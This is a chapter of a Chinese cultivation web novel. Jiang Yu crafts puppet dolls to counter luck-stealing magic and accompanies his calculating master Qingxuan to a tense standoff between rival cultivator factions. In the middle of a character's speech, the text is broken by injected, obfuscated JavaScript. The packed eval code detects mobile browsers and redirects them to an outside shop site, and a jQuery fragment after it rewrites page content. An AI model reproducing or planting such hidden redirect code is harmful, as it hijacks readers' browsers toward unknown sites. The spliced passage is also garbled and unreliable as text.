长此以往,恐怕不到百年,这个世界便会地脉尽枯,气运断绝,因果彻底紊乱。

    这片被人为撕开了漏洞,被邪规彻底裹挟的天地,将会彻底失衡崩塌。

    到那个时候,不管是权贵还是平民,修士或者阴灵,众生都要为这场无休止的贪婪陪葬,无一幸免。

    金乌被江鱼的推断惊呆了:“这个世界的人是怎么想的?在修真界,即使再癫狂的邪修,再肆无忌惮的魔头,都不敢把天道搞成这样啊!这图什么啊?”

    江鱼沉吟:“他们不是疯了,是被变化的规矩引着,一步步被逼到不得不贪。

    天道的裂隙一旦被撕开,贪欲便如决堤洪水,再无收敛余地。

    最早破规夺福的人,如果没有人制衡惩戒他们,他们反倒获益无穷,那么久而久之,世人都知道了,守正者吃亏,掠夺者得益。

    慢慢的,人人都怕旁人抢占先机,怕自己若安分守己就沦为他人囊中的福泽。

    于是你抢一分,我就夺一寸。

    到最后,便成了天下全员相食,不抢就亏的乱象。”

    金乌有些着急:“那…那该怎么办啊?

    再这么争抢下去,天地早晚得崩。就算我们能在那之前离开这个世界,可这片天地现在就烂成这个样子了,我们今后走到哪里恐怕都难得安宁。

    难道就没有什么办法可以挽回吗?”

    江鱼安抚道:“既然天道的裂隙是人的所作所为撕开的,歪理规矩是一点点被篡改的,那么应该就有法子可以补全和逆转。

    只是我现在修为尚浅,学到的东西都是速成的,暂时还没有办法掀翻这已经固化了数百年的畸形体系。

    等我摸清了这个世界的天道运行规则,便能寻到溯洄本源的途径。”

    江鱼合上手中泛黄的古籍,心中已然有了打算。

    他想起原主前世记忆里和青玄在不久之后会一起出席一场对峙。

    在那场剑拔弩张的修士对峙中,各方势力似乎在争夺一个气运深厚之人。

    这将是近距离观摩高阶道士的术法和掠夺套路的绝佳契机。

    可他目前势单力薄,还没办法强行将那人从多方势力的眼皮子底下带走。

    想要护住对方,顺势摸清圈层之间争夺气运的完整脉络,必须提前备好依仗。

    思绪落定,江鱼离开藏经阁僻静侧室,回到自己的房间,取出提前搜集的灵材,打算融汇两界法理,炼制一些特制的傀儡娃娃。

    这些傀儡娃娃有两个作用。

    其一是替运反噬,专门用来克制此方世界泛滥的夺运邪术。倘若有人强夺目标的气运,傀儡便会引动反噬之力,令施术者透支自身的本命福运。

    其二是灵视阵纹录影,这个傀儡娃娃能够捕捉气运流转轨迹,刻录邪术运转脉络以及各类阵法纹路。

    之后数日,山门之内难得地维持着一种表面平静。

    青玄经过上次御史登门问话一事,之后又被江鱼刻意引导,他的心底始终存着一根刺。

    新的福地掌权者上位,朝堂风向大变,他不敢再像从前那般毫无顾忌。

    于是便开始暗中动用自己安插在俗世朝堂和玄门各处的眼线,悄悄打探新主推行的规制以及上层最近的动向,想要摸清楚此番朝堂敲打究竟是单纯立威,还是另有更深的布局。

    他的心思尽数放在权衡利弊、打探消息之上,对江鱼的管束松懈不少,只叮嘱他安心修行,不曾深究江鱼整日闭门不出究竟在做些什么。

    江鱼也正好借着这份空闲继续研究这个世界的天道运行法则,顺便做一些可能用得上的保命道具。

    日子安静地过了月余,山门无波,但暗流却早已在玄门地界汹涌翻滚。

    这日午后,一道加急的传讯玉符破空掠入青玄主院,震颤不止,气息焦灼急促。

    青玄抬手接住,指尖凝灵点开符文,是另一位成名已久的老道玄机真人的亲笔传讯。

    此人修为高深,素来掌管气运遴选之事,在玄门一众高手里极有分量,世人只知他修为超然,执掌气运规制,无人知晓其背后盘根错节的隐秘势力。

    信中言辞恳切又带着愠怒。

    近来他锁定的数名大气运之人频频被人半路截走,辛苦测算锁定的气运机缘屡屡落空,明显是有人蓄意越界暗中抢食。

    对方行事蛮横,丝毫不顾玄门默认的地界规矩与制衡分寸。

    他压不住这场派系纷争,又没能力直接彻底撕破脸面引发大范围混战,因此特意传信青玄。

    因为青玄修为超然中立,不在任何一方派系桎梏之中,最适合到场居中压场、稳住局面。

    青玄看完传讯,眸底瞬间掠过一丝精亮的算计。

    这种多方僵持,利益拉扯的对峙现场,是最容易捞取灰色好处的场合。

    两方相争,必定会争相拉拢中立强者。

    他到场,不用站队,不用硬碰,仅凭中立身份,便可两头拿捏,顺势分润双方许诺的气运红利与地脉补益。

    思及此,青玄当即决定赴约。

    随后他立刻传讯给江鱼。

    等江鱼恭敬地来了主院,青玄解释道:“山下地界派系纷争愈演愈烈,有人越界抢掠机缘,相持不下,传讯请我前去居中调停。你随我一同前往。”

    江鱼温顺应道:“是,师父。”

    青玄又叮嘱道:“此番对峙,到场的皆是各方高人,人心复杂,利益纠缠不休。

    你年纪尚浅,修为浅薄,到了现场只需安分随行,一切听我调遣。没有我的吩咐,不准随意动用阴阳眼。

    不必多言,不必好奇,更不可锋芒外露。”

    江鱼低眉颔首:“弟子谨记师父教诲,绝不妄动,也绝不惹眼。”

    青玄微微颔首,不再多言,袖袍一拂,带上江鱼,匆匆赶往玄机道人传讯的地址。

    等师徒二人抵达现场,空气早已紧绷到极致。

    两拨修士分立两侧,气场凌厉对峙,言语交锋锋利如刃,句句皆是利益拉扯、地界争端。

    左侧为首的正是传讯求助的玄机真人,此刻他面色沉寒,须发微拂,满眼压不住的震怒:“同为修道之人,本该各循规制,地界机缘自有分定。

    我勘算气运命格的推演之术,乃是自身独修的独门秘法,世间无第二人可效仿。每一名深藏厚福的气运之人,皆需我耗费数月心神,透支灵力,反复推演天机筛查地脉,才能艰难锁定踪迹,落定机缘。

    可近段时日,我千辛万苦推演锁定的气运苗子,次次都在临近落定之时,被你们半路截走,凭空夺食!

    尤其是这一次,我耗费九个月的心血推演算出一位百年难遇的顶级大气运命格,乃是罕见的气运之人!本已即将彻底锁定踪迹,却再

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739219|204941||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    度被你们暗中截走,不知所踪!

    我苦修测算的心血,你们倒好,不费吹灰之力,直接窃取抢占!

    如此践踏规矩,卑劣至极,今日你们必须给我一个交代!”

    对面领头的修士一身暗沉道袍,眉眼桀骜不羁,闻言当场嗤笑一声,语气张狂又漠然,半点不惧玄机真人的威压:“规矩?什么规矩?

    天地福泽,本就是能者居之,向来是谁有本事,谁便可纳为己用。

    你测算得勤,却守不住机缘,只能怪你自身手段不济、实力孱弱。

    凭什么你锁定的气运,旁人便碰不得?

    这天地机缘又不是你玄机私家所有,你守不住,我取之何妨?”

    几句话,直接将玄机真人噎得面色铁青,周身灵力隐隐躁动,怒意彻底压不住了。

    两侧随行修士见状,纷纷灵力暗蓄,剑拔弩张,只需一句口角激化,便要当场动手开战。

    全场风声肃然,唯有后入场的青玄立在一旁,神色淡然,冷眼旁观着这场赤裸裸的利益撕扯,眼底只剩精准的利弊权衡。

    江鱼安静垂立在他身后,将这一切尽收眼底。

    两侧修士灵力翻涌,锋芒对峙,眼见便要从言语争执彻底演变为宗门混战。

    僵局之中,玄机真人身侧有人给他传话,他的目光转向了身侧从容立着的青玄。

    他压下怒意,主动上前半步,姿态放软了几分,语气中暗含拉拢之意:“青玄道友来了,青玄真人修为冠绝此方地界,素来公允中立。今日此事,是对方越界抢运,乱了玄门规制。

    道友若愿居中为我佐证,镇住场面,事后我愿分你三成此次勘定所得的气运福泽,绝不亏待。”

    话音刚落,对面那名桀骜修士立刻冷笑接话,丝毫不让:

    “三成?玄机真人倒是大方,可惜福泽太薄。

    青玄道友,世事早已变天,死守旧规毫无意义。

    他玄机自己守不住,活该机缘流失。你若愿袖手中立,不插手我等行事,事后我分你五成气运红利,远胜他那点微薄酬谢。”

    两方争相许诺,一个讲规矩,许利稳妥福泽;一个讲乱世,许巨额红利,都想将青玄这尊中立的战力拉至己方阵营。

    青玄面色淡然,眼底却早已飞快算清利弊。

    两边都想借他的势,两边都愿意割肉让利。

    今日这场对峙,他只需稳稳立在中间,不偏不倚,便可坐收两方好处,是稳赚不赔的无本买卖。

    他心中盘算已定,面上依旧端着一副世外高人的清冷模样,不急不缓,故意吊着两方人心。

    场面一时僵持拉扯,无人再顾及旁侧。

    青玄余光扫过身后乖顺垂首的江鱼,轻声开口叮嘱:“此处纷争凶险,灵力乱流激荡,不是你该久留之地。

    你退至后方僻静山坳处等候,远离战场,不许靠近,更不许肆意张望。

    安分待着,等我处理完这场纷争,再来寻你。”

    在场众人全是觊觎气运、掠夺福泽的疯魔贪婪之徒,若是有人察觉到江鱼身负阴阳眼,必然会瞬间起杀人夺宝之心。

    江鱼自然知道青玄害怕什么,依旧低眉应道:“是,弟子明白。”

    他依言退离对峙中心,顺着山道往僻静处走。

    他正愁人多眼杂,无从脱身,找不到那个顶级气运者的踪迹。